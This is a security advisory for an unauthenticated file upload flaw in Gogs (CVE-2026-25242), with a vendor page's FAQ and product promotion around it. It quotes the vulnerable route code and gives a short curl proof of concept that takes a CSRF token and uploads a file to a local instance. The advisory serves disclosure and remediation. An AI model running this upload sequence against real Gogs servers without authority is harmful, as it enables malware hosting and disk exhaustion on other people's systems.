Summary
Unauthenticated File Upload in Gogs
Security Advisory:Unauthenticated File Upload in Gogs
Vulnerability Type: Unauthenticated File Upload
Date: Aug 5, 2025
Discoverer: OpenAI Security Research
Gogs exposes unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance.
Affected Versions
- Software: Gogs
- Confirmed Version(s): 28f83626d4ed0aa7b89493be2ea8b79ca038331e
- Likely Affected: All versions since 2020-04-05 with unauthenticated attachments endpoints
- Introduced Commit: 07818d5fa
Vulnerability Details
The web.go router exposes the following endpoints under the ignSignIn route group:
Vulnerable Code Snippet
m.Post("/issues/attachments", repo.UploadIssueAttachment)
m.Post("/releases/attachments", repo.UploadReleaseAttachment)
These endpoints are accessible by unauthenticated users if the configuration variable RequireSigninView is false (default). This allows arbitrary file uploads to data/attachments, returning a UUID in response.
While CSRF protection is enabled, attackers can obtain a valid token anonymously from the site and use it in the upload request without authentication.
Description
Anonymous file upload using only default configuration and a CSRF token obtained from the homepage.
POC
# Run Gogs docker
docker start gogs
# Software will be run on http://localhost:10880/. Finish the setup with local Sqlite database
# Get CSRF cookie into a jar
curl -sS -c cookies.txt http://localhost:10880/ -o /dev/null
# Extract the _csrf value from the jar
CSRF="$(awk '$6=="_csrf"{print $7}' cookies.txt | tail -n1)"
# Upload the file, sending cookie jar + header
curl -sS \
-b cookies.txt -c cookies.txt \
-H "X-CSRF-Token: $CSRF" \
-H "Referer: http://localhost:10880/" \
-F "[email protected]" \
http://localhost:10880/issues/attachments
=> {"uuid":"<UUID>"}
The attachment will be available at: http://localhost:10880/attachments/
Realistic Exploitation Scenarios
- Spammers or malicious actors use the Gogs instance to host phishing payloads or malware.
- Attackers fill up disk with repeated uploads.
- Attackers use hosted Gogs instances as public file dumps (e.g., for P2P, exfiltration)
Potential Impact
This unauthenticated upload vector effectively turns any Gogs instance into a file hosting platform open to the public. This is especially dangerous for production or Internet-exposed installations. The combination of no login requirement, wildcard MIME support, and unrestricted access to attachments enables both resource abuse and potential malware distribution.
Timeline
- August 2025: Discovered via GPT5
- August 2025: Reproduced and confirmed via PoC and sanitizer
- Aug 6, 2025 - Sent to Gogs via https://github.com/gogs/gogs/security/advisories/new
Impact
Unrestricted File Upload: Attackers can store arbitrary content on the server.
Denial-of-Service: Repeated uploads can exhaust disk space.
Malware Hosting: Gogs may inadvertently serve attacker-hosted payloads under its domain.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-25242? CVE-2026-25242 is a medium-severity missing authorization vulnerability in gogs.io/gogs (go), affecting versions < 0.14.1. It is fixed in 0.14.1. The application does not perform an authorization check before performing a sensitive operation.
- Which versions of gogs.io/gogs are affected by CVE-2026-25242? gogs.io/gogs (go) versions < 0.14.1 is affected.
- Is there a fix for CVE-2026-25242? Yes. CVE-2026-25242 is fixed in 0.14.1. Upgrade to this version or later.
- Is CVE-2026-25242 exploitable, and should I be worried? Whether CVE-2026-25242 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-25242 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-25242? Upgrade
gogs.io/gogsto 0.14.1 or later.